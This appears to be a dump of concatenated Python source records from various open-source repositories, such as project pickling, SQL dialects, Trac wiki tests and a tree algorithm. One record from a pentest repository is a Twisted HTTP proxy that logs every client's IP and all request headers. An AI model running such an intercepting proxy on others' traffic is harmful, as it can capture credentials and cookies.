then an *AssertionError* exception is raised unless\n the overwrite flag is True. This ensures that users won't accidentally\n overwrite existing data.\n\n This method requires the overwrite flag because prompting the user to\n confirm the overwrite requires GUI interaction and thus should not be\n done at the model level.\n\n Note that, because we can rely on the location of a loaded project\n always being set to the location it was loaded from, there is no reason\n to try to force the *location* trait within a saved project to the\n location we are trying to save to. Instead, we update the value in\n the in-memory version of the project only if the save completed\n successfully.\n\n The dirty flag is always cleared upon a succesfull save of the project.\n\n An exception will be raised to indicate a failure.\n\n \"\"\"\n\n # Ensure saving (or save as) is allowed at this time.\n if location is None or location == self.location:\n if not self.is_save_allowed:\n raise AssertionError('Saving is currently not allowed.')\n elif location != self.location:\n if not self.is_save_as_allowed:\n raise AssertionError('Save as is currently not allowed.')\n\n # Use the internally-specified location unless a new location was\n # explicitly provided. The new location can not contain any starting\n # or trailing whitespace and it cannot overwrite an existing file or\n # directory unless that was explicitly allowed.\n loc = self.location\n if location is not None:\n location = location.strip()\n if len(location) > 0 and location != self.location:\n\n # Ensure we never overwrite existing files / directories just\n # because someone specified a new location. (Confirmation or\n # correction of overwriting requires prompting of the user and\n # is thus not part of the project model.)\n if os.path.exists(location) and overwrite is False:\n raise AssertionError('Can not overwrite existing ' + \\\n 'location [%s]' % location)\n\n # The requested location is valid so let's use it.\n loc = location\n\n # Ensure all necessary directories exist. If we're saving a file, then\n # these are the path upto the file name. If we're saving to a directory\n # then the path is the complete location.\n if self.PROJECTS_ARE_FILES:\n path, filename = os.path.split(loc)\n else:\n path = loc\n if len(path) > 0:\n f = File(path)\n if f.is_file:\n f.delete()\n if not f.exists:\n f.create_folders()\n\n # Save this project in a manner that derived classes can modify.\n self._save(loc)\n\n # If the save succeeds (no exceptions were raised), then update the\n # location of the project and clear the dirty flag.\n self.location = loc\n self.dirty = False\n\n return\n\n\n def start(self):\n \"\"\"\n Notify this project that it is now the 'current' project.\n\n This call should only be made by the project plugin framework!\n\n This call *could* happen multiple times to a project, but\n only if interwoven with paired calls to the 'stop' method.\n\n Derived classes should override this, and chain the base\n implementation, if they need to do anything when a project\n becomes current.\n\n \"\"\"\n\n logger.debug('Project [%s] started', self)\n\n # Ensure we start with an empty set of editors\n self._editors = {}\n\n\n def stop(self):\n \"\"\"\n Called only by the project plugin framework to notify this\n project it is no longer the current project.\n\n This call *could* happen multiple times to a project, but\n only if interwoven with paired calls to the 'start' method.\n\n Derived classes should override this, and chain the base\n implementation, if they need to do anything when a project\n stops being current.\n\n \"\"\"\n\n # Close all of the editors displaying our resources\n self._close_all_editors()\n\n logger.debug('Project [%s] stopped', self)\n\n\n #### protected interface #################################################\n\n def _close_all_editors(self):\n \"\"\"\n Called to close all editors associated with this project.\n\n \"\"\"\n\n # NOTE: The close() method on the editor will call back to remove\n # itself from our set of registered editors. (This assumes the\n # editor is derived from ProjectEditor.)\n for editor in self._editors.values():\n logger.debug('Project requesting close of ProjectEditor [%s]',\n editor)\n editor.close()\n\n\n def _close_resource_editors(self, resource):\n \"\"\"\n Close any editors associated with the specified resource(s).\n\n The passed value may be a single resource or a list of resources. The\n resources should be parts of this project but no error is generated if\n they are not, nor if they are not currently associated with an editor.\n\n \"\"\"\n\n # Ensure we're dealing with a list of resources.\n if not isinstance(resource, list):\n resource = [resource]\n\n # Close any editors associated with the resources\n for r in resource:\n editor = self._editors.get(r, None)\n if editor is not None:\n logger.debug('Requesting close of ProjectEditor [%s] from ' + \\\n 'Project [%s]', editor, self)\n editor.close()\n\n return\n\n\n def _contains_resource(self, resource):\n \"\"\"\n Called to determine if this project contains the specified\n resource.\n\n Note that if this project can be represented as a hierarchy, the\n resource may not be a top level object in that hierarchy!\n\n Derived classes must implement this!\n\n \"\"\"\n\n return False\n\n\n def _get_name(self):\n \"\"\"\n Returns the current name for this project.\n\n The name is always the last part of the path that is the project's\n location. If we have no location, then a default name is returned.\n\n \"\"\"\n\n # Prefer to use the cached version of the name\n if self._name is not None and len(self._name) > 0:\n result = self._name\n\n # Use (and cache) a name from our current location\n else:\n # Strip any trailing path separator off the current location so\n # that we use the last directory name if our location is a\n # directory\n location = self.location.rstrip(os.path.sep)\n\n # The project name is then the basename of the location\n self._name = os.path.basename(location)\n result = self._name\n\n return result\n\n\n def _load(cls, location):\n \"\"\"\n Load a project from the specified location.\n\n This method exists purely to allow derived classes to have an easy way\n to override or extend the loading of a project. The default behavior\n is to load the project from a file using the unpickle mechanism.\n\n The caller is notified of loading errors by raised exceptions.\n\n \"\"\"\n\n # Allow derived classes to determine the actual pickle file given the\n # requested source location.\n filename = cls.get_pickle_filename(location)\n logger.debug('Loading Project of class [%s] from [%s]', cls,\n filename)\n\n # Try to unpickle the project while making sure to close any file we\n # opened.\n fh = None\n try:\n fh = open(filename, 'rb')\n pickle_package = cls.get_pickle_package()\n project = pickle_package.load(fh)\n\n # Allow derived classes to customize behavior after unpickling\n # is complete.\n project._load_hook(location)\n\n logger.debug('Loaded Project [%s] from location [%s]', project,\n filename)\n\n # Ensure any opened file is closed\n finally:\n if fh:\n try:\n fh.close()\n except:\n logger.exception('Unable to close project file [%s]',\n filename)\n\n return project\n _load = classmethod(_load)\n\n\n def _load_hook(self, location):\n \"\"\"\n Finish loading of a project.\n\n This method exists purely to allow derived classes to customize the\n steps that finish the loading of a project.\n\n Note that the project's internal location value does not yet reflect\n the location the project was loaded from, nor do we guarantee the dirty\n flag isn't set. (Doing the right thing to both of these is done by the\n framework after this method!)\n\n \"\"\"\n\n pass\n\n\n def _location_default(self):\n \"\"\"\n Generates the default value for our location trait.\n\n \"\"\"\n\n return self.get_default_project_location(self.application)\n\n\n def _make_location_unique(cls, location):\n \"\"\"\n Return a location, based off the specified location, that does\n not already exist on the filesystem.\n\n \"\"\"\n\n result = location\n counter = 1\n while os.path.exists(result):\n result = cls._unique_name_format % (location, counter)\n counter+=1\n\n return result\n _make_location_unique = classmethod(_make_location_unique)\n\n\n def _save(self, location):\n \"\"\"\n Save this project to the specified location.\n\n This method exists purely to allow derived classes to have an easy way\n to override or extend the saving of a project. The default behavior is\n to save this project to a file using the pickle mechanism.\n\n The caller is notified of saving errors by raised exceptions.\n\n \"\"\"\n\n # Allow derived classes to determine the actual pickle file from the\n # specified location.\n filename = self.get_pickle_filename(location)\n logger.debug('Saving Project [%s] to [%s]', self, filename)\n\n # Pickle the object to a file while making sure to close any file we\n # open. Note that we can't just log or ignore errors here as the\n # caller needs to know whether we succeeded or not, and could possibly\n # handle the exception if they knew what it was.\n fh = None\n try:\n # Allow derived classes to customize behavior before pickling is\n # applied.\n self._save_hook(location)\n\n fh = open(filename, 'wb')\n pickle_package = self.get_pickle_package()\n pickle_package.dump(self, fh, 1)\n\n logger.debug('Saved Project [%s] to [%s]', self, filename)\n finally:\n try:\n if fh is not None:\n fh.close()\n except:\n logger.exception('Unable to close project pickle file [%s]',\n filename)\n\n return\n\n\n def _save_hook(self, location):\n \"\"\"\n Start saving a project.\n\n This method exists purely to allow derived classes to customize the\n steps that initiate the saving of a project.\n\n Note that the project's internal location value does not reflect the\n target location for the save.\n\n \"\"\"\n\n pass\n\n\n #### trait handlers ######################################################\n\n def _location_changed(self, old, new):\n \"\"\"\n Called whenever the project's location changes.\n\n \"\"\"\n\n logger.debug('Location changed from [%s] to [%s] for Project [%s]',\n old, new, self)\n\n # Invalidate any cached project name\n old_name = self._name\n self._name = ''\n self.trait_property_changed('name', old_name, self.name)\n\n # Indicate this project is now dirty\n self.dirty = True\n\n\n# Helper functions\n\ndef clean_filename(name, replace_empty=\"\"):\n \"\"\"\n Make a user-supplied string safe for filename use.\n\n Returns an ASCII-encodable string based on the input string that's safe for\n use as a component of a filename or URL. The returned value is a string\n containing only lowercase ASCII letters, digits, and the characters '-' and\n '_'.\n This does not give a faithful representation of the original string:\n different input strings can result in the same output string.\n\n Parameters\n ----------\n name : str\n The string to be made safe.\n replace_empty : str, optional\n The return value to be used in the event that the sanitised\n string ends up being empty. No validation is done on this\n input - it's up to the user to ensure that the default is\n itself safe. The default is to return the empty string.\n\n Returns\n -------\n safe_string : str\n A filename-safe version of string.\n \"\"\"\n # Code is based on Django's slugify utility.\n # https://docs.djangoproject.com/en/1.9/_modules/django/utils/text/#slugify\n name = (\n unicodedata.normalize('NFKD', name)\n .encode('ascii', 'ignore')\n .decode('ascii')\n )\n name = re.sub(r'[^\\w\\s-]', '', name).strip().lower()\n safe_name = re.sub(r'[-\\s]+', '-', name)\n if safe_name == \"\":\n return replace_empty\n return safe_name\n\n#### EOF #####################################################################\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "from pedsnetdcc.utils import (stock_metadata)\nimport os\nimport logging\nimport time\n\nfrom pedsnetdcc.dict_logging import secs_since\n\n\ndef create_oracle_views(model_version, source_schema, target_schema, view_file_name):\n \"\"\"Create SQL for `select` statement transformations.\n\n The `search_path` only needs to contain the source schema; the target\n schema is embedded in the SQL statements.\n\n The returned statements are not sufficient for the transformation;\n the `pre_transform` needs to be run beforehand.\n\n Returns a set of tuples of (sql_string, msg), where msg is a description\n for the operation to be carried out by the sql_string.\n\n :param model_version: PEDSnet model version, e.g. 2.3.0\n :param str source_schema: schema in which the tables are located\n :param str target_schema: schema in which to create the views\n :param str view_file_name: name of file to put the output in\n :returns: True if the function succeeds\n :rtype: bool\n \"\"\"\n\n logger = logging.getLogger(__name__)\n logger.info({'msg': 'starting Oracle view SQL file'})\n start_time = time.time()\n\n metadata = stock_metadata(model_version)\n target_schema = target_schema.upper()\n source_schema = source_schema.upper()\n table_list = []\n create_dict = {}\n grant_dict = {}\n\n for table_name,table in metadata.tables.items():\n table_list.append(table_name)\n create = 'create or replace view \"' + target_schema + '\".\"' + table_name + '\" as select '\n for column_name,column in table.c.items():\n create += '\"' + column_name.upper() + '\" as \"' + column_name + '\", '\n create = create[:-2]\n create = create + ' from \"' + source_schema + '\".\"' + table_name.upper() + '\";'\n create_dict[table_name] = create\n grant = 'grant select on \"' + target_schema + '\".\"' + table_name + '\" to \"' + target_schema + '\";'\n grant_dict[table_name] = grant\n\n with open(view_file_name, 'w') as view_file:\n for table_name in sorted(table_list):\n view_file.write(create_dict[table_name] + os.linesep)\n\n for table_name in sorted(table_list):\n view_file.write(grant_dict[table_name] + os.linesep)\n\n # Output completion message.\n logger.info({'msg': 'finished Oracle view SQL file','elapsed': secs_since(start_time)})\n\n # If reached without error, then success!\n return True\n", "source": "PEDSnet/pedsnetdcc", "license": "BSD-2-Clause"} {"text": "from ..adapters.informix import Informix, InformixSE\nfrom .firebird import FireBirdDialect\nfrom . import dialects, sqltype_for\n\n\n@dialects.register_for(Informix)\nclass InformixDialect(FireBirdDialect):\n @sqltype_for(\"id\")\n def type_id(self):\n return \"SERIAL\"\n\n @sqltype_for(\"big-id\")\n def type_big_id(self):\n return \"BIGSERIAL\"\n\n @sqltype_for(\"reference FK\")\n def type_reference_fk(self):\n return (\n \"REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s \"\n + \"CONSTRAINT FK_%(table_name)s_%(field_name)s\"\n )\n\n @sqltype_for(\"reference TFK\")\n def type_reference_tfk(self):\n return (\n \"FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_table)s\"\n + \"(%(foreign_key)s) ON DELETE %(on_delete_action)s \"\n + \"CONSTRAINT TFK_%(table_name)s_%(field_name)s\"\n )\n\n @property\n def random(self):\n return \"Random()\"\n\n def select(\n self,\n fields,\n tables,\n where=None,\n groupby=None,\n having=None,\n orderby=None,\n limitby=None,\n distinct=False,\n for_update=False,\n ):\n dst, whr, grp, order, limit, offset, upd = \"\", \"\", \"\", \"\", \"\", \"\", \"\"\n if distinct is True:\n dst = \" DISTINCT\"\n elif distinct:\n dst = \" DISTINCT ON (%s)\" % distinct\n if where:\n whr = \" %s\" % self.where(where)\n if groupby:\n grp = \" GROUP BY %s\" % groupby\n if having:\n grp += \" HAVING %s\" % having\n if orderby:\n order = \" ORDER BY %s\" % orderby\n if limitby:\n (lmin, lmax) = limitby\n fetch_amt = lmax - lmin\n if lmin and self.adapter.dbms_version >= 10:\n offset = \" SKIP %i\" % lmin\n if fetch_amt and self.adapter.dbms_version >= 9:\n limit = \" FIRST %i\" % fetch_amt\n if for_update:\n upd = \" FOR UPDATE\"\n return \"SELECT%s%s%s %s FROM %s%s%s%s%s;\" % (\n dst,\n offset,\n limit,\n fields,\n tables,\n whr,\n grp,\n order,\n upd,\n )\n\n\n@dialects.register_for(InformixSE)\nclass InformixSEDialect(InformixDialect):\n def select(\n self,\n fields,\n tables,\n where=None,\n groupby=None,\n having=None,\n orderby=None,\n limitby=None,\n distinct=False,\n for_update=False,\n ):\n dst, whr, grp, order, limit, offset, upd = \"\", \"\", \"\", \"\", \"\", \"\", \"\"\n if distinct is True:\n dst = \" DISTINCT\"\n elif distinct:\n dst = \" DISTINCT ON (%s)\" % distinct\n if where:\n whr = \" %s\" % self.where(where)\n if groupby:\n grp = \" GROUP BY %s\" % groupby\n if having:\n grp += \" HAVING %s\" % having\n if orderby:\n order = \" ORDER BY %s\" % orderby\n if for_update:\n upd = \" FOR UPDATE\"\n return \"SELECT%s %s FROM %s%s%s%s%s%s%s;\" % (\n dst,\n fields,\n tables,\n whr,\n grp,\n order,\n limit,\n offset,\n upd,\n )\n", "source": "GeorgesBrantley/ResistanceGame", "license": "BSD-3-Clause"} {"text": "'''\nTODO List main app module\n\nAuthor: @ricardodani\n'''\n\nfrom fastapi import FastAPI\nfrom app.core.config import settings\nfrom app.initializer import init_app\n\n\napp = FastAPI(\n title=settings.PROJECT_NAME\n)\ninit_app(app)\n", "source": "ricardodani/fastapi-simple-todo", "license": "Apache-2.0"} {"text": "import torch\nimport numpy\nfrom criterion import disagree_regularization\n\n# sample_prob = torch.FloatTensor(6).uniform_(0, 1)\n# sample_mask = sample_prob < 0.2\n# a = sample_mask.nonzero()\n# print(sample_mask)\n\n# b = numpy.array([[[5,6,4,1],\n# [7,8,3,2],\n# [1,2,1,3]]])\n# c = numpy.array([[[5],[6],[7]]])\n# x = torch.tensor([[3,3],[3,3]])\n# y = b*c #x.dot(x)\n# z = torch.mul(b,c) #x.mul(x)\n# print(y)\n# print(z)\n# e = c[-1,:]\n# d = b*c[-1,:, None]\n# print(d)\n# all_masks = numpy.array([[0,1,\n# 0]])\n# (finished,) = numpy.where(all_masks[-1] == 0) \n\n# print(finished)\n# m = set()\n# m.add(torch.tensor([1,4,3]))\n# m.add(torch.tensor([2,4,3]))\n# m.add(torch.tensor([1,5,3]))\n# a = [1,4,3]\n# a = torch.tensor(a)\n# if a in m:\n# print(\"yes\")\n\nx = torch.FloatTensor([[[1, 2], [3, 4]], [[5, 6], [7, 8]]])\nprint(disagree_regularization(x))\n", "source": "vivid-k/code", "license": "MIT"} {"text": "\"\"\"\nCommon functions for processors.\n\nAuthor(s): Raghav Kansal\n\"\"\"\n\nimport awkward as ak\n\n\ndef pad_val(\n arr: ak.Array,\n target: int,\n value: float,\n axis: int = 0,\n to_numpy: bool = False,\n clip: bool = True,\n):\n \"\"\"\n pads awkward array up to ``target`` index along axis ``axis`` with value ``value``,\n optionally converts to numpy array\n \"\"\"\n ret = ak.fill_none(ak.pad_none(arr, target, axis=axis, clip=clip), value, axis=None)\n return ret.to_numpy() if to_numpy else ret\n", "source": "rkansal47/HHbbVV", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\nfrom peewee import *\nfrom typing import Set\n\nfrom botlistbot.models.basemodel import BaseModel\nfrom botlistbot.models.bot import Bot\n\n\nclass Keyword(BaseModel):\n id = PrimaryKeyField()\n name = CharField()\n entity = ForeignKeyField(Bot)\n\n class Meta:\n indexes = (\n (('entity', 'name'), True), # Note the trailing comma!\n )\n\n def __str__(self):\n return '#' + self.name\n\n @classmethod\n def get_distinct_names(cls, exclude_from_bot: Bot, exclude_suggestions=True) -> Set[str]:\n exclude_kw = {x.name for x in exclude_from_bot.keywords}\n return {x.name for x in\n cls.select(cls.name).distinct().where(Keyword.name.not_in(exclude_kw))}\n", "source": "Rostgnom/BotListBot", "license": "MIT"} {"text": "from twisted.internet import reactor\nfrom twisted.web import proxy, http\n\nclass ProxyRequest(proxy.ProxyRequest):\n\tdef process(self):\n\t\tprint 'Request from: %s ' %(self.getClientIP()) \n\t\tprint 'Headers : '\n\t\tfor header in self.getAllHeaders().keys():\n\t\t\tprint self.getAllHeaders()[header]\n\n\t\ttry:\n\t\t\tproxy.ProxyRequest.process(self)\n\t\texcept KeyError:\n\t\t\tprint 'HTTPS is not supported.'\n\nclass SimpleProxy(proxy.Proxy):\n\trequestFactory = ProxyRequest\n\nclass ProxyFactory(http.HTTPFactory):\n\tdef buildProtocol(self, addr):\n\t\treturn SimpleProxy()\n\nreactor.listenTCP(8080, ProxyFactory())\nreactor.run()\n", "source": "galletitaoreo/PythonPentest", "license": "MIT"} {"text": "from math import ceil,log,floor,pow\n\ndef DSW_rotates(tree,rcount):\n node,A=tree.root,None\n while rcount>0:\n A1=node.R\n node.leftrotate(tree)\n rcount=rcount-1\n A=A1\n node=A.R\n\ndef DSW(tree,n):\n if tree.root is None: return\n tree.rightbackbone()\n h=ceil(log(n+1,2))\n i=pow(2,h-1)-1\n DSW_rotates(tree,n-i)\n while i>1:\n i=floor(i/2)\n DSW_rotates(tree,i)\n\n", "source": "FER-NASP/AdvancedAlgorithms", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2006-2013 Edgewall Software\n# All rights reserved.\n#\n# This software is licensed as described in the file COPYING, which\n# you should have received as part of this distribution. The terms\n# are also available at http://trac.edgewall.org/wiki/TracLicense.\n#\n# This software consists of voluntary contributions made by many\n# individuals. For the exact contribution history, see the revision\n# history and logs, available at http://trac.edgewall.org/log/.\n\nimport unittest\nfrom datetime import datetime, timedelta\n\nfrom trac.test import locale_en\nfrom trac.ticket.query import QueryModule\nfrom trac.ticket.report import ReportModule\nfrom trac.ticket.roadmap import RoadmapModule\nfrom trac.ticket.model import Milestone, Ticket\nfrom trac.util.datefmt import format_datetime, pretty_timedelta, utc\nfrom trac.wiki.tests import formatter\n\n\nTICKET_TEST_CASES = u\"\"\"\n============================== ticket: link resolver\nticket:1\nticket:12\nticket:abc\n------------------------------\n

    \nticket:1\nticket:12\nticket:abc\n

    \n------------------------------\n============================== ticket: link resolver + arguments\nticket:1?format=csv\nticket:1#comment:3\n------------------------------\n

    \nticket:1?format=csv\nticket:1#comment:3\n

    \n------------------------------\n============================== ticket: link resolver with ranges\nticket:12-14,33\nticket:12,33?order=created\n------------------------------\n

    \nticket:12-14,33\nticket:12,33?order=created\n

    \n------------------------------\n============================== ticket link shorthand form\n#1, #2\n#12, #abc\n------------------------------\n

    \n#1, #2\n#12, #abc\n

    \n------------------------------\n============================== ticket link shorthand form with ranges\n#1-5,42\n#1,3,5,7\n------------------------------\n

    \n#1-5,42\n#1,3,5,7\n

    \n------------------------------\n============================== ticket link shorthand form with long ranges (#10111 regression)\n#1-123456789012345678901234\n------------------------------\n

    \n#1-123456789012345678901234\n

    \n------------------------------\n============================== escaping the above\n!#1\n------------------------------\n

    \n#1\n

    \n------------------------------\n#1\n============================== InterTrac for tickets\ntrac:ticket:2041\n[trac:ticket:2041 Trac #2041]\n#T2041\n#trac2041\n------------------------------\n

    \ntrac:ticket:2041\nTrac #2041\n#T2041\n#trac2041\n

    \n------------------------------\n============================== Ticket InterTrac shorthands\nT:#2041\ntrac:#2041\n------------------------------\n

    \nT:#2041\ntrac:#2041\n

    \n------------------------------\n============================== ticket syntax with unicode digits\n#\u2074\u00b2\n#1-\u2075,42\n#1,\u00b3,5,7\n#T\u00b2\u2070\u2074\u00b9\n#trac\u00b2\u2070\u2074\u00b9\n------------------------------\n

    \n#\u2074\u00b2\n#1-\u2075,42\n#1,\u00b3,5,7\n#T\u00b2\u2070\u2074\u00b9\n#trac\u00b2\u2070\u2074\u00b9\n

    \n------------------------------\n\"\"\" # \"\n\ndef ticket_setup(tc):\n config = tc.env.config\n config.set('ticket-custom', 'custom1', 'text')\n config.save()\n ticket = Ticket(tc.env)\n ticket.values.update({'reporter': 'santa',\n 'summary': 'This is the summary',\n 'status': 'new'})\n ticket.insert()\n\ndef ticket_teardown(tc):\n config = tc.env.config\n config.remove('ticket-custom', 'custom1')\n config.save()\n tc.env.reset_db()\n\n\n\nREPORT_TEST_CASES = u\"\"\"\n============================== report link shorthand form\n{1}, {2}\n{12}, {abc}\n------------------------------\n

    \n{1}, {2}\n{12}, {abc}\n

    \n------------------------------\n============================== escaping the above\n!{1}\n------------------------------\n

    \n{1}\n

    \n------------------------------\n{1}\n============================== ticket shorthands, not numerical HTML entities\n \n------------------------------\n

    \n&#1; &#23;\n

    \n------------------------------\n&#1; &#23;\n============================== report link with non-digits\nreport:blah\n------------------------------\n

    \nreport:blah\n

    \n------------------------------\nreport:blah\n============================== InterTrac for reports\ntrac:report:1\n[trac:report:1 Trac r1]\n{T1}\n{trac1}\n{trac 1}\n------------------------------\n

    \ntrac:report:1\nTrac r1\n{T1}\n{trac1}\n{trac 1}\n

    \n------------------------------\n============================== report syntax with unicode digits\n{\u2074\u00b2} !{\u2074\u00b2}\n{T\u2074\u00b2}\n{trac\u2074\u00b2}\n------------------------------\n

    \n{\u2074\u00b2} !{\u2074\u00b2}\n{T\u2074\u00b2}\n{trac\u2074\u00b2}\n

    \n------------------------------\n\"\"\" # '\n\ndef report_setup(tc):\n def create_report(tc, id):\n tc.env.db_transaction(\"\"\"\n INSERT INTO report (id,title,query,description)\n VALUES (%s,%s,'SELECT 1','')\"\"\", (id, 'Report %s' % id))\n create_report(tc, 1)\n create_report(tc, 2)\n\n\ndt_past = datetime.now(utc) - timedelta(days=1)\ndt_future = datetime.now(utc) + timedelta(days=1)\n\n\nMILESTONE_TEST_CASES = u\"\"\"\n============================== milestone: link resolver\nmilestone:foo\n[milestone:boo Milestone Boo]\n[milestone:roo Milestone Roo]\n[milestone:woo Milestone Woo]\n[milestone:zoo Milestone Zoo]\n------------------------------\n

    \nmilestone:foo\nMilestone Boo\nMilestone Roo\nMilestone Woo\nMilestone Zoo\n

    \n------------------------------\n============================== milestone: link resolver + arguments\nmilestone:?action=new\n[milestone:boo#KnownIssues Known Issues for 1.0]\n------------------------------\n

    \nmilestone:?action=new\nKnown Issues for 1.0\n

    \n------------------------------\n\"\"\" % {'dt_past': pretty_timedelta(dt_past),\n 'dt_future': pretty_timedelta(dt_future),\n 'datestr_past': format_datetime(dt_past, locale=locale_en, tzinfo=utc),\n 'datestr_future': format_datetime(dt_future, locale=locale_en,\n tzinfo=utc)} #\"\n\ndef milestone_setup(tc):\n boo = Milestone(tc.env)\n boo.name = 'boo'\n boo.completed = boo.due = None\n boo.insert()\n roo = Milestone(tc.env)\n roo.name = 'roo'\n roo.completed = dt_past\n roo.due = None\n roo.insert()\n woo = Milestone(tc.env)\n woo.name = 'woo'\n woo.completed = None\n woo.due = dt_future\n woo.insert()\n zoo = Milestone(tc.env)\n zoo.name = 'zoo'\n zoo.completed = None\n zoo.due = dt_past\n zoo.insert()\n\ndef milestone_teardown(tc):\n tc.env.reset_db()\n\n\n\nQUERY_TEST_CASES = u\"\"\"\n============================== query: link resolver\nquery:?order=priority\n\nquery:?order=priority&owner=me\n\nquery:?type=r\u00e9sum\u00e9\n\nquery:status=new|reopened\n\nquery:reporter!=\n\nquery:reporter=joe|jack&owner=me\n\nquery:group=owner\n\nquery:verbose=1\n\nquery:summary=r\u00e9sum\u00e9\n------------------------------\n

    \nquery:?order=priority\n

    \n

    \nquery:?order=priority&owner=me\n

    \n

    \nquery:?type=r\u00e9sum\u00e9\n

    \n

    \nquery:status=new|reopened\n

    \n

    \nquery:reporter!=\n

    \n

    \nquery:reporter=joe|jack&owner=me\n

    \n

    \nquery:group=owner\n

    \n

    \nquery:verbose=1\n

    \n

    \nquery:summary=r\u00e9sum\u00e9\n

    \n------------------------------\n============================== TicketQuery macro: no results, list form\nReopened tickets: [[TicketQuery(status=reopened)]]\n------------------------------\n

    \nReopened tickets: No results\n

    \n------------------------------\n============================== TicketQuery macro: no results, count 0\nReopened tickets: [[TicketQuery(status=reopened, format=count)]]\n------------------------------\n

    \nReopened tickets: 0\n

    \n------------------------------\n============================== TicketQuery macro: no results, compact form\nReopened tickets: [[TicketQuery(status=reopened, format=compact)]]\n------------------------------\n

    \nReopened tickets: No results\n

    \n------------------------------\n============================== TicketQuery macro: one result, list form\nNew tickets: [[TicketQuery(status=new)]]\n------------------------------\n

    \nNew tickets:

    #1
    This is the summary

    \n

    \n------------------------------\n============================== TicketQuery macro: one result, count 1\nNew tickets: [[TicketQuery(status=new, format=count)]]\n------------------------------\n

    \nNew tickets: 1\n

    \n------------------------------\n============================== TicketQuery macro: one result, compact form\nNew tickets: [[TicketQuery(status=new, format=compact)]]\n------------------------------\n

    \nNew tickets: #1\n

    \n------------------------------\n============================== TicketQuery macro: duplicated fields\nNew tickets: [[TicketQuery(status=new, format=compact, col=summary|status|status)]]\n------------------------------\n

    \nNew tickets: #1\n

    \n------------------------------\n============================== TicketQuery macro: duplicated custom fields\nNew tickets: [[TicketQuery(status=new, format=compact, col=summary|custom1|custom1)]]\n------------------------------\n

    \nNew tickets: #1\n

    \n------------------------------\n\"\"\"\n\nQUERY2_TEST_CASES = u\"\"\"\n============================== TicketQuery macro: two results, list form\nNew tickets: [[TicketQuery(status=new, order=reporter)]]\n------------------------------\n

    \nNew tickets:

    #2
    This is another summary
    #1
    This is the summary

    \n

    \n------------------------------\n============================== TicketQuery macro: two results, count 2\nNew tickets: [[TicketQuery(status=new, order=reporter, format=count)]]\n------------------------------\n

    \nNew tickets: 2\n

    \n------------------------------\n============================== TicketQuery macro: two results, compact form\nNew tickets: [[TicketQuery(status=new, order=reporter, format=compact)]]\n------------------------------\n

    \nNew tickets: #2, #1\n

    \n------------------------------\n\"\"\"\n\ndef query2_setup(tc):\n ticket = Ticket(tc.env)\n ticket.values.update({'reporter': 'santa',\n 'summary': 'This is the summary',\n 'status': 'new'})\n ticket.insert()\n ticket = Ticket(tc.env)\n ticket.values.update({'reporter': 'claus',\n 'summary': 'This is another summary',\n 'status': 'new'})\n ticket.insert()\n\ndef query2_teardown(tc):\n tc.env.reset_db()\n\n\nCOMMENT_TEST_CASES = u\"\"\"\n============================== comment: link resolver (deprecated)\ncomment:ticket:1:1 (deprecated)\n[comment:ticket:1:1 see above] (deprecated)\ncomment:ticket:1:description (deprecated)\n[comment:ticket:1:description see descr] (deprecated)\ncomment:ticket:2:1 (deprecated)\ncomment:ticket:2:3 (deprecated)\ncomment:ticket:3:1 (deprecated)\ncomment:tiket:2:1 (deprecated)\ncomment:ticket:two:1 (deprecated)\ncomment:ticket:2:1a (deprecated)\ncomment:ticket:2:one (deprecated)\ncomment:ticket:1: (deprecated)\ncomment:ticket::2 (deprecated)\ncomment:ticket:: (deprecated)\n------------------------------\n

    \ncomment:ticket:1:1 (deprecated)\nsee above (deprecated)\ncomment:ticket:1:description (deprecated)\nsee descr (deprecated)\ncomment:ticket:2:1 (deprecated)\ncomment:ticket:2:3 (deprecated)\ncomment:ticket:3:1 (deprecated)\ncomment:tiket:2:1 (deprecated)\ncomment:ticket:two:1 (deprecated)\ncomment:ticket:2:1a (deprecated)\ncomment:ticket:2:one (deprecated)\ncomment:ticket:1: (deprecated)\ncomment:ticket::2 (deprecated)\ncomment:ticket:: (deprecated)\n

    \n------------------------------\n============================== comment: link resolver\ncomment:1\n[comment:1 see above]\ncomment:description\n[comment:description see descr]\ncomment:\ncomment:one\ncomment:1a\n------------------------------\n

    \ncomment:1\nsee above\ncomment:description\nsee descr\ncomment:\ncomment:one\ncomment:1a\n

    \n------------------------------\n============================== comment: link resolver with ticket number\ncomment:1:ticket:1\n[comment:1:ticket:1 see above]\ncomment:description:ticket:1\n[comment:description:ticket:1 see descr]\ncomment:1:ticket:2\ncomment:3:ticket:2\ncomment:1:ticket:3\ncomment:2:tiket:1\ncomment:1:ticket:two\ncomment:one:ticket:1\ncomment:1a:ticket:1\ncomment:ticket:1\ncomment:2:ticket:\ncomment::ticket:\n------------------------------\n

    \ncomment:1:ticket:1\nsee above\ncomment:description:ticket:1\nsee descr\ncomment:1:ticket:2\ncomment:3:ticket:2\ncomment:1:ticket:3\ncomment:2:tiket:1\ncomment:1:ticket:two\ncomment:one:ticket:1\ncomment:1a:ticket:1\ncomment:ticket:1\ncomment:2:ticket:\ncomment::ticket:\n

    \n------------------------------\n\"\"\" # \"\n\n# NOTE: the following test cases:\n#\n# comment:2\n# [comment:2 see above]\n#\n# would trigger an error in the workaround code ../api.py, line 235\n# As it's a problem with a temp workaround, I think there's no need\n# to fix it for now.\n\ndef comment_setup(tc):\n ticket1 = Ticket(tc.env)\n ticket1.values.update({'reporter': 'santa',\n 'summary': 'This is the summary for ticket 1',\n 'status': 'new'})\n ticket1.insert()\n ticket1.save_changes(comment='This is the comment for ticket 1')\n ticket2 = Ticket(tc.env)\n ticket2.values.update({'reporter': 'claws',\n 'summary': 'This is the summary for ticket 2',\n 'status': 'closed'})\n ticket2.insert()\n ticket2.save_changes(comment='This is the comment for ticket 2')\n\ndef comment_teardown(tc):\n tc.env.reset_db()\n\n\ndef suite():\n suite = unittest.TestSuite()\n suite.addTest(formatter.suite(TICKET_TEST_CASES, ticket_setup, __file__,\n ticket_teardown))\n suite.addTest(formatter.suite(REPORT_TEST_CASES, report_setup, __file__))\n suite.addTest(formatter.suite(MILESTONE_TEST_CASES, milestone_setup,\n __file__, milestone_teardown))\n suite.addTest(formatter.suite(QUERY_TEST_CASES, ticket_setup, __file__,\n ticket_teardown))\n suite.addTest(formatter.suite(QUERY2_TEST_CASES, query2_setup, __file__,\n query2_teardown))\n 